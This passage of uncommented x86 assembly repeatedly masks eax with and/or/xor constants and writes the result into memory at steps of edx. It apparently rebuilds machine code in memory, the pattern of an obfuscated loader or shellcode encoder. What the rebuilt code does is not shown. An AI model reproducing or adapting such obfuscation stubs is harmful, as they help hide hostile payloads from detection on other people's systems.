mov dword [ebx], eax
add ebx, edx
and eax, 0x42d10a0f
and eax, 0x10000
or eax, 0x8b4a7488
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f9733cc
xor eax, 0x3c5ad227
and eax, 0x1018441
or eax, 0x443a5804
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c56bc61
or eax, 0x113135f5
and eax, 0x9437de4
or eax, 0x82000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dea03bd
xor eax, 0x3b56d1ca
and eax, 0xc044
or eax, 0x8d892009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c1bd8e7
and eax, 0xb1923880
or eax, 0x4e6dc644
mov dword [ebx], eax
add ebx, edx
and eax, 0x210a3b39
xor eax, 0x3112d4f5
and eax, 0x184481
or eax, 0x89c0110a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78f0a932
and eax, 0xf128c091
or eax, 0xed60004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44ec5d35
and eax, 0x980089a0
or eax, 0x4045025f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dce175e
xor eax, 0x78c76b6
and eax, 0x8001e803
or eax, 0x9000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x23b4335d
and eax, 0x8981d845
or eax, 0x40a0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f4e8f9e
and eax, 0x3d5dc8cc
and eax, 0xd088804
or eax, 0xf2f776c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x45412ed5
and eax, 0xfec08c11
or eax, 0x12a
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f00add9
and eax, 0x1a40adfb
or eax, 0x3d5204
mov dword [ebx], eax
add ebx, edx
and eax, 0x11f8be94
and eax, 0x501480
or eax, 0x8384410b
mov dword [ebx], eax
add ebx, edx
and eax, 0x1727e0ae
or eax, 0x473e44f8
and eax, 0x450800c2
or eax, 0x10810100
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ecf2253
and eax, 0x54010040
or eax, 0x80448b94
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54536dae
and eax, 0x14443a
or eax, 0x7da00101
mov dword [ebx], eax
add ebx, edx
and eax, 0x48dae840
and eax, 0x40000000
or eax, 0x844d8b09
mov dword [ebx], eax
add ebx, edx
or eax, 0x2480dd3b
and eax, 0x4bb0078f
and eax, 0x103
or eax, 0x8901c080
mov dword [ebx], eax
add ebx, edx
and eax, 0x16c858df
or eax, 0x35e8c23f
and eax, 0x1588c00d
or eax, 0x40030440
mov dword [ebx], eax
add ebx, edx
or eax, 0x49b1a91c
and eax, 0x1c110150
or eax, 0xa0440280
mov dword [ebx], eax
add ebx, edx
and eax, 0x38dff13a
and eax, 0x10010
or eax, 0x458a0864
mov dword [ebx], eax
add ebx, edx
or eax, 0x472383e6
xor eax, 0x3a2a5156
and eax, 0x4c0102a0
or eax, 0x80440144
mov dword [ebx], eax
add ebx, edx
or eax, 0x7695e0d5
and eax, 0x47e65938
and eax, 0x44800030
or eax, 0x90b1445
mov dword [ebx], eax
add ebx, edx
and eax, 0x550472f1
and eax, 0x44001050
or eax, 0x904d2b8c
mov dword [ebx], eax
add ebx, edx
and eax, 0x279f1825
xor eax, 0x70e2f773
and eax, 0x548b0c74
or eax, 0x1000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x685199ab
and eax, 0xbf86d1f
and eax, 0x808
or eax, 0xb05533e4
mov dword [ebx], eax
add ebx, edx
and eax, 0x2dfddf63
and eax, 0x6ff6ddb0
and eax, 0x100900
or eax, 0x8b840f
mov dword [ebx], eax
add ebx, edx
and eax, 0x76fa0410
and eax, 0x8a0000
or eax, 0x45010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x58074638
and eax, 0x7f3df289
and eax, 0x10000
or eax, 0xbc8489dc
mov dword [ebx], eax
add ebx, edx
or eax, 0x6547e4fb
and eax, 0x89c7edfe
or eax, 0x2381200
mov dword [ebx], eax
add ebx, edx
or eax, 0x322d4855
and eax, 0x8989f44d
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cc753f9
and eax, 0x109ceb41
and eax, 0xca200
or eax, 0xfff35cb8
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b90f6cb
and eax, 0x3905488
or eax, 0x80640103
mov dword [ebx], eax
add ebx, edx
and eax, 0x19bb36b9
or eax, 0x1c874fa5
and eax, 0x15810180
or eax, 0x40080042
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ddc243b
xor eax, 0x3e7ec9f1
and eax, 0x388489f0
or eax, 0x84010204
mov dword [ebx], eax
add ebx, edx
xor eax, 0x46acd851
and eax, 0x3a2953a4
or eax, 0x1d6ac5a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29212d7f
and eax, 0x12de9081
or eax, 0xed202804
mov dword [ebx], eax
add ebx, edx
and eax, 0x79cf5279
and eax, 0x9081001
or eax, 0x82006dfe
mov dword [ebx], eax
add ebx, edx
and eax, 0x222b09da
or eax, 0x47c3a9d5
and eax, 0x450ba04d
or eax, 0x8304000
mov dword [ebx], eax
add ebx, edx
and eax, 0x67346ea9
and eax, 0x1206008
or eax, 0x8a011cc4
mov dword [ebx], eax
add ebx, edx
or eax, 0x7be9e39e
and eax, 0x5129b054
or eax, 0x4120001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3124b651
and eax, 0x1193440
or eax, 0x8a0048a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c9ab19c
and eax, 0x4503cc44
or eax, 0x383001
mov dword [ebx], eax
add ebx, edx
or eax, 0x2bf3bdb3
and eax, 0xb5a7dd0
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56244bc4
and eax, 0xc1020404
or eax, 0x81c049
mov dword [ebx], eax
add ebx, edx
and eax, 0x532da8b9
and eax, 0x18959b04
and eax, 0x18000
or eax, 0xc44c0901
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bbb63e7
and eax, 0x101
or eax, 0x2bc4548a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a2b43f2
and eax, 0x8000000
or eax, 0x4174b455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34d01ed0
and eax, 0x39a00081
or eax, 0x248450a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cfb68ed
and eax, 0x3604581d
and eax, 0x4005
or eax, 0x97da040
mov dword [ebx], eax
add ebx, edx
or eax, 0x5cd24b0d
and eax, 0x1844145
or eax, 0x482
mov dword [ebx], eax
add ebx, edx
and eax, 0x2aa6f87f
and eax, 0
or eax, 0xeb000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fdc8422
and eax, 0x84448402
or eax, 0x14305
mov dword [ebx], eax
add ebx, edx
or eax, 0x14382a67
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35665e04
and eax, 0x3b570519
and eax, 0x1400400
or eax, 0xa80498b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70049df8
and eax, 0x29448041
or eax, 0x30040c
mov dword [ebx], eax
add ebx, edx
and eax, 0x35ef2c47
and eax, 0x2a122233
and eax, 0x20000001
or eax, 0x1bec558a
mov dword [ebx], eax
add ebx, edx
or eax, 0x32f4cdaa
and eax, 0x1eef9b94
and eax, 0x86c9000
or eax, 0x114055
mov dword [ebx], eax
add ebx, edx
and eax, 0x2570caf5
or eax, 0x51c85bf9
and eax, 0x11b84189
or eax, 0x2a040402
mov dword [ebx], eax
add ebx, edx
or eax, 0x61edbb07
and eax, 0x32e90a4c
and eax, 0x680804
or eax, 0x814f041
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a308c1c
and eax, 0x8300800
or eax, 0x3384458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a43636d
and eax, 0x11756c4d
or eax, 0x89000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10921442
xor eax, 0x481ebbef
and eax, 0x9d05180
or eax, 0x3208040b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55214c50
xor eax, 0x7decb5ff
and eax, 0x1158004
or eax, 0x8684051
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bd881d0
and eax, 0x1480000
or eax, 0x8284458b
mov dword [ebx], eax
add ebx, edx
or eax, 0x10981f0a
and eax, 0x1880188
or eax, 0x44010060
mov dword [ebx], eax
add ebx, edx
or eax, 0xa7c521c
xor eax, 0x74b44646
and eax, 0x18490188
or eax, 0xc4048a44
mov dword [ebx], eax
add ebx, edx
and eax, 0x57638b5b
and eax, 0x7b8b2f7b
and eax, 0x10100
or eax, 0x8900c083
mov dword [ebx], eax
add ebx, edx
and eax, 0x76b6920e
xor eax, 0x3b9c3388
and eax, 0x11889008
or eax, 0x44034c45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x197299c8
and eax, 0xc00180
or eax, 0x1028270
mov dword [ebx], eax
add ebx, edx
or eax, 0x61205a60
and eax, 0x5baca465
and eax, 0x1a00000
or eax, 0x8a505589
mov dword [ebx], eax
add ebx, edx
and eax, 0x73f0b096
and eax, 0x1300000
or eax, 0x440bc445
mov dword [ebx], eax
add ebx, edx
or eax, 0x426a11b2
xor eax, 0x69bb4abf
and eax, 0x6001d48
or eax, 0xc1096084
mov dword [ebx], eax
add ebx, edx
or eax, 0x31e0e569
and eax, 0x18045
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c32ae95
and eax, 0x4230000
or eax, 0x3c80000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b66438d
and eax, 0x804185
or eax, 0x442
mov dword [ebx], eax
add ebx, edx
and eax, 0x673d8886
or eax, 0x1ee4cd6f
and eax, 0xa000000
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x29c84ffc
and eax, 0x9004c4c
or eax, 0x44239001
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c866af4
and eax, 0x8000800
or eax, 0x11840780
mov dword [ebx], eax
add ebx, edx
and eax, 0x399b550b
and eax, 0x9000000
or eax, 0x82000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x5c899fb
and eax, 0x1000001
or eax, 0x5403f054
mov dword [ebx], eax
add ebx, edx
or eax, 0x43fcb8de
and eax, 0x58408c4
or eax, 0x8000720
mov dword [ebx], eax
add ebx, edx
or eax, 0x20b8c3ed
and eax, 0x9000001
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x40c11cd7
and eax, 0x41010844
or eax, 0x43ae001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d92f38f
or eax, 0x68cc9857
and eax, 0x18c0840
or eax, 0x10780
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a73b77a
xor eax, 0x21013985
and eax, 0x1000001
or eax, 0x8a000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x35efea7f
xor eax, 0x11f40592
and eax, 0xc1be84d
or eax, 0x41201000
mov dword [ebx], eax
add ebx, edx
and eax, 0x48c31b44
and eax, 0x40010804
or eax, 0xb58c07b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ac1e787
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77dd2dbb
and eax, 0x54192411
or eax, 0x122c044
mov dword [ebx], eax
add ebx, edx
and eax, 0x56cd1104
and eax, 0x40090004
or eax, 0xa9840fe8
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d1b6f22
xor eax, 0x32b58ffb
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a284b60
xor eax, 0x76243b67
and eax, 0x44200845
or eax, 0x11bc400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f1bc797
and eax, 0x2db5e8f7
and eax, 0x82008d0
or eax, 0x831c7400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1bbe7f27
and eax, 0x20045
or eax, 0x4d39d408
mov dword [ebx], eax
add ebx, edx
or eax, 0x54310dae
and eax, 0x47c5af8c
and eax, 0x45010d8c
or eax, 0x908c0250
mov dword [ebx], eax
add ebx, edx
xor eax, 0x303bb8e4
and eax, 0x58ace457
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a6f2d5f
and eax, 0x410b2055
or eax, 0x1400d000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52b1e555
and eax, 0x7d78887f
and eax, 0x4100000
or eax, 0xb08589d8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b03f461
and eax, 0x83983d6
and eax, 0x18040
or eax, 0x8bfe7fbe
mov dword [ebx], eax
add ebx, edx
or eax, 0x57828e23
and eax, 0x8589fc45
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a8171c5
and eax, 0xdf088c80
or eax, 0x20f77230
mov dword [ebx], eax
add ebx, edx
or eax, 0x67363ad1
or eax, 0x2c008bd0
and eax, 0x83d84d81
or eax, 0xa
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b073b20
or eax, 0x6bd647ce
and eax, 0x498901e9
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x416030d1
xor eax, 0x19d01a8f
and eax, 0x14110b50
or eax, 0xa0848088
mov dword [ebx], eax
add ebx, edx
and eax, 0x38824606
or eax, 0x961dd56
and eax, 0x39e1df56
or eax, 0x21e20a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x61b55531
and eax, 0x7bfeb095
or eax, 0x84000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e6ddc57
and eax, 0x40c0015
or eax, 0xa1810fea
mov dword [ebx], eax
add ebx, edx
xor eax, 0x679dd255
and eax, 0xf5a07a0
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x711d7c1
xor eax, 0x26677d34
and eax, 0x2a045
or eax, 0x45095400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33b8490f
or eax, 0x31baca8a
and eax, 0x11800fc0
or eax, 0x88040020
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a60694c
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10047192
and eax, 0x14f77724
and eax, 0x47000
or eax, 0xaf0b804d
mov dword [ebx], eax
add ebx, edx
and eax, 0x3069b768
or eax, 0x5295158a
and eax, 0x4019b448
or eax, 0xd220805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23fc5a1f
and eax, 0x8850640
or eax, 0x810809a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x5aa4254b
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0xc0b1bd5
and eax, 0x50b1055
or eax, 0x5030e000
mov dword [ebx], eax
add ebx, edx
or eax, 0x58181fb3
xor eax, 0x22accef
and eax, 0xb013118
or eax, 0x80284ce0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32eb3216
xor eax, 0x57e27f88
and eax, 0x84003044
or eax, 0x189c401
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c3bbbc5
and eax, 0xfdbbfe84
or eax, 0x2440028
mov dword [ebx], eax
add ebx, edx
or eax, 0x5223dd64
and eax, 0x89c44d88
or eax, 3
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c45724c
and eax, 0x8440008
or eax, 0xf7baa885
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f9d505c
and eax, 0xd04188d1
or eax, 0x2414032e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x551c018e
and eax, 0x81018201
or eax, 0x8004082
mov dword [ebx], eax
add ebx, edx
or eax, 0x35c2b535
and eax, 0x8583f415
or eax, 0x80040
mov dword [ebx], eax
add ebx, edx
and eax, 0x512efb80
and eax, 0x10af000
or eax, 0xfef50eac
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d266b7
and eax, 0x2800420
or eax, 0xfc28811b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32e1572c
and eax, 0x48d217
or eax, 0x10342de8
mov dword [ebx], eax
add ebx, edx
or eax, 0x524b2d7d
xor eax, 0x378cf9f3
and eax, 0x21d00408
or eax, 0xa004983
mov dword [ebx], eax
add ebx, edx
or eax, 0x47e23fc8
and eax, 0x47cc583b
and eax, 0x401009
or eax, 0x835a444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68bf6eb1
and eax, 0x1d0f1ce
and eax, 0xc05088
or eax, 0x3b200503
mov dword [ebx], eax
add ebx, edx
or eax, 0x341edc42
and eax, 0x87cd841
or eax, 0x40010014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x474d49d
and eax, 0x80488
or eax, 0x83e04103
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47d3da9
or eax, 0x4134bd42
and eax, 0x45810140
or eax, 0x80080
mov dword [ebx], eax
add ebx, edx
or eax, 0x79e96bb9
and eax, 0x50490be8
or eax, 0x80048000
mov dword [ebx], eax
add ebx, edx
and eax, 0x28c738d0
and eax, 0x400800
or eax, 0x7ca8453b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f00ced
and eax, 0x7f6777f2
and eax, 0x3c000102
or eax, 0x80558a2c
mov dword [ebx], eax
add ebx, edx
or eax, 0x22502cce
and eax, 0x2a8ccc28
and eax, 0x8040420
or eax, 0x81f85103
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ffcab8e
and eax, 0xa600a485
or eax, 0x59fe0010
mov dword [ebx], eax
add ebx, edx
and eax, 0x485d283c
xor eax, 0x2515a3cd
and eax, 0x2c4183d9
or eax, 0x90040826
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d5b385a
or eax, 0x6704a222
and eax, 0x9018002
or eax, 0x80004081
mov dword [ebx], eax
add ebx, edx
or eax, 0x6183b9ec
and eax, 0xa983b845
or eax, 0x14000400
mov dword [ebx], eax
add ebx, edx
or eax, 0x2449bddd
and eax, 0xbdcbbc84
or eax, 0x42344220
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e9d06c0
and eax, 0x141a5543
and eax, 0x85400
or eax, 0x8b002000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1abaa119
xor eax, 0x2a028512
and eax, 0x9005009
or eax, 0x440ba444
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b29bde2
and eax, 0xb0875e8
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x36cf7ae4
and eax, 0x50b8b523
and eax, 0x10081400
or eax, 0x4533c055
mov dword [ebx], eax
add ebx, edx
or eax, 0x7bb07682
and eax, 0xdd9664e
and eax, 0x9096440
or eax, 0x820019b0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1394b492
and eax, 0x400
or eax, 0xc083c845
mov dword [ebx], eax
add ebx, edx
and eax, 0x253a4582
and eax, 0x487163ac
and eax, 0
or eax, 0xcc458901
mov dword [ebx], eax
add ebx, edx
or eax, 0x729a5ff6
and eax, 0x82d44d83
or eax, 0x1000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b5a3de2
and eax, 0x48880069
or eax, 0x5010180
mov dword [ebx], eax
add ebx, edx
or eax, 0x5453beaa
and eax, 0x44518bc0
or eax, 0x80040014
mov dword [ebx], eax
add ebx, edx
xor eax, 0x130d3b50
or eax, 0x362abd1a
and eax, 0x81008082
or eax, 0x8014201
mov dword [ebx], eax
add ebx, edx
xor eax, 0x619acd53
and eax, 0x5065e007
and eax, 0x40010000
or eax, 0x58ac455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33a4a271
and eax, 0x34052224
or eax, 0x884019c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x90cad13
and eax, 0x6463beb5
and eax, 0x418c05
or eax, 0x112010a
mov dword [ebx], eax
add ebx, edx
or eax, 0x345a136f
and eax, 0x50b0000
or eax, 0x48800000
mov dword [ebx], eax
add ebx, edx
and eax, 0xea735c5
and eax, 0xc010000
or eax, 0xc04c3bc4
mov dword [ebx], eax
add ebx, edx
or eax, 0x45ab3275
or eax, 0x3330a71
and eax, 0x1470905
or eax, 0x840a
mov dword [ebx], eax
add ebx, edx
and eax, 0x22b81b29
and eax, 0
or eax, 0x558b0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x63d71f48
and eax, 0x1820000
or eax, 0x4083c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x708f9f83
or eax, 0x92ac061
and eax, 0x9804181
or eax, 0x82441408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3374e424
and eax, 0x308005
or eax, 0x45034040
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e5500e9
or eax, 0xf38fb9e
and eax, 0x68453bc4
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x729e64e0
and eax, 0xf0d04
or eax, 0x120800b
mov dword [ebx], eax
add ebx, edx
and eax, 0xfdf4243
and eax, 0x10b0000
or eax, 0x4c800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5402e81e
and eax, 0x1e941849
and eax, 0x800000
or eax, 0x16983d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a6cabf0
and eax, 0xb800800
or eax, 0x80504589
mov dword [ebx], eax
add ebx, edx
and eax, 0x77a1c70e
xor eax, 0x25b9e374
and eax, 0x4018054
or eax, 0x51025801
mov dword [ebx], eax
add ebx, edx
or eax, 0x40510eba
and eax, 0x4fbc9bb7
and eax, 0x5000a90
or eax, 0x82850540
mov dword [ebx], eax
add ebx, edx
xor eax, 0x111e68fc
xor eax, 0x2f30fc66
and eax, 0x89000000
or eax, 0x2000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc057af0
and eax, 0x5017840
or eax, 0x40028405
mov dword [ebx], eax
add ebx, edx
or eax, 0x749478f9
and eax, 0x77f2ada4
and eax, 0x20808884
or eax, 0x80050158
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3aa9887a
and eax, 0x8a2c01a6
or eax, 0x1d3fe58
mov dword [ebx], eax
add ebx, edx
and eax, 0x34562d0a
xor eax, 0x4cf4de4c
and eax, 0xc80b044
or eax, 0x81090c09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30ea34b6
xor eax, 0x41e69c91
and eax, 0xfc851408
or eax, 0x37aea94
mov dword [ebx], eax
add ebx, edx
and eax, 0x5efdcb94
and eax, 0x2fc4080
or eax, 0x8100150b
mov dword [ebx], eax
add ebx, edx
or eax, 0x1dd5242d
and eax, 0x15890182
or eax, 0x40000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ae9a84e
and eax, 0x810040
or eax, 0xa0048bbc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x338a8b52
and eax, 0x130f00ae
or eax, 0x28f0ff50
mov dword [ebx], eax
add ebx, edx
and eax, 0x7709cdd0
or eax, 0x51b03afc
and eax, 0x73b89c84
or eax, 0x8c460001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6301c716
and eax, 0x6dfbdc9f
and eax, 0x85b5893
or eax, 0x8300246c
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b3253f3
and eax, 0x23c5d56a
and eax, 0x1014448
or eax, 0x4c02a005
mov dword [ebx], eax
add ebx, edx
or eax, 0x20a1a07b
and eax, 0x3a1210d8
and eax, 0x8000048
or eax, 0x908d89a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x575c52a1
and eax, 0x5245733
and eax, 0x1045320
or eax, 0x8afbacde
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e1bad24
or eax, 0x953d6ff
and eax, 0x9581d455
or eax, 0x82000
mov dword [ebx], eax
add ebx, edx
or eax, 0xe873cc2
and eax, 0x9f8ffc94
or eax, 0x60700200
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bf19e24
and eax, 0x3e00400
or eax, 0x8008418b
mov dword [ebx], eax
add ebx, edx
and eax, 0x45fd975e
xor eax, 0x14dfa5b3
and eax, 0x50100a8
or eax, 0x40880140
mov dword [ebx], eax
add ebx, edx
xor eax, 0x670ef075
and eax, 0x858188
or eax, 0x98080a60
mov dword [ebx], eax
add ebx, edx
or eax, 0x765c1177
and eax, 0x1ddb4e40
and eax, 0x18d90a40
or eax, 0x2326f5be
mov dword [ebx], eax
add ebx, edx
and eax, 0x57dea646
xor eax, 0x3b599fdb
and eax, 0x2886108d
or eax, 0xd7788400
mov dword [ebx], eax
add ebx, edx
or eax, 0x278d62aa
and eax, 0x7703cd3c
and eax, 0x303442c
or eax, 0x882c38d3
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a4b4ad2
xor eax, 0x6a5fc634
and eax, 0xa000b041
or eax, 0x4a834414
mov dword [ebx], eax
add ebx, edx
and eax, 0x686a0d7a
and eax, 0x2f441699
and eax, 0x20000000
or eax, 0xd4558901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ab46fef
xor eax, 0x7ffc710c
and eax, 0x11140582
or eax, 0x2aa04009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d4926a
and eax, 0x1e60d441
or eax, 0x1c2004
mov dword [ebx], eax
add ebx, edx
or eax, 0x4440eaf2
and eax, 0x561608e2
and eax, 0x2040882
or eax, 0x81c84509
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62626d51
and eax, 0x46326b1c
and eax, 0x40000000
or eax, 0xd8901c1
mov dword [ebx], eax
add ebx, edx
and eax, 0x38fab2f8
xor eax, 0x75a33642
and eax, 0x60010280
or eax, 0x8054894c
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e778cb1
and eax, 0x18080
or eax, 0x89004203
mov dword [ebx], eax
add ebx, edx
or eax, 0x6513f71d
xor eax, 0x2e2b4614
and eax, 0x4108a001
or eax, 0x4834054
mov dword [ebx], eax
add ebx, edx
and eax, 0x7834394a
and eax, 0x40002040
or eax, 0xa0451b8c
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fcc1849
and eax, 0x81090d
or eax, 0x128402
mov dword [ebx], eax
add ebx, edx
and eax, 0x36c4e693
and eax, 0x800000
or eax, 0x4d0b0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x61762bab
xor eax, 0x74c2a796
and eax, 0x180d080c
or eax, 0xe04033c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x54fd2b2c
and eax, 0x50090b0c
or eax, 0x5820071
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7885eed0
and eax, 0x40184
or eax, 0xd0510250
mov dword [ebx], eax
add ebx, edx
and eax, 0x8c95757
or eax, 0x8a51eea
and eax, 0x8c0153a
or eax, 0x74184001
mov dword [ebx], eax
add ebx, edx
and eax, 0x31f98da7
xor eax, 0x229193c5
and eax, 0x10418246
or eax, 0xe4040900
mov dword [ebx], eax
add ebx, edx
or eax, 0x504937fe
or eax, 0x2474eda9
and eax, 0x7464452b
or eax, 0x1800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30d80346
and eax, 0xc022c
or eax, 0xb0418912
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52c7a5f0
and eax, 0x80000082
or eax, 0x901c101
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b9036
or eax, 0x6d4a6b2b
and eax, 0x450bb00d
or eax, 0x10800040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57521ccb
and eax, 0x510080
or eax, 0xb0040358
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73e52a84
and eax, 0x298dfdf7
and eax, 0x1802954
or eax, 0x440b0421
mov dword [ebx], eax
add ebx, edx
xor eax, 0x264ef99
and eax, 0x45af02c0
or eax, 0xd00
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fbfd597
and eax, 0x850180
or eax, 0x9000886c
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b519292
and eax, 0x18080
or eax, 0x8bfe7f7e
mov dword [ebx], eax
add ebx, edx
or eax, 0xd0f55bc
and eax, 0x8d89ac4c
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b6de995
or eax, 0x13ca7b26
and eax, 0xffeffe8c
or eax, 0x100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x54ee698c
and eax, 0x83c05588
or eax, 3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14a11e63
xor eax, 0x3593af76
and eax, 0x800082
or eax, 0x55090140
mov dword [ebx], eax
add ebx, edx
and eax, 0x69f187d5
and eax, 0x8101c0
or eax, 0x90048a00
mov dword [ebx], eax
add ebx, edx
and eax, 0x381ba96b
or eax, 0x4f04b6bb
and eax, 0x1b05bffa
or eax, 0x20fa4004
mov dword [ebx], eax
add ebx, edx
or eax, 0x777c0660
and eax, 0x238ce9b1
and eax, 0x238c8880
or eax, 0xdc720405
mov dword [ebx], eax
add ebx, edx
or eax, 0x53025f1
and eax, 0x8b3a2df5
or eax, 0x500a
mov dword [ebx], eax
add ebx, edx
and eax, 0x37dcacd9
xor eax, 0xffad06a
and eax, 0xc80cc01
or eax, 0x8109004c
mov dword [ebx], eax
add ebx, edx
or eax, 0x23ce58d9
and eax, 0x4c208cfa
and eax, 0xc008c88
or eax, 0xf3ff7200
mov dword [ebx], eax
add ebx, edx
or eax, 0x1488635f
xor eax, 0x6fa1ecf1
and eax, 0x8050110a
or eax, 0x9804481
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d56bfe6
xor eax, 0x465ad931
and eax, 0x4f0a8491
or eax, 0xb0f40004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x99efcb0
and eax, 0xc4400825
or eax, 0x80583da
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bcd4046
xor eax, 0x5942c71f
and eax, 0x101c001
or eax, 0x88002882
mov dword [ebx], eax
add ebx, edx
or eax, 0x42799f8e
or eax, 0x4c7f359f
and eax, 0x8d0bcc05
or eax, 0x800040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64410bbd
and eax, 0xe9cac688
or eax, 0x16353800
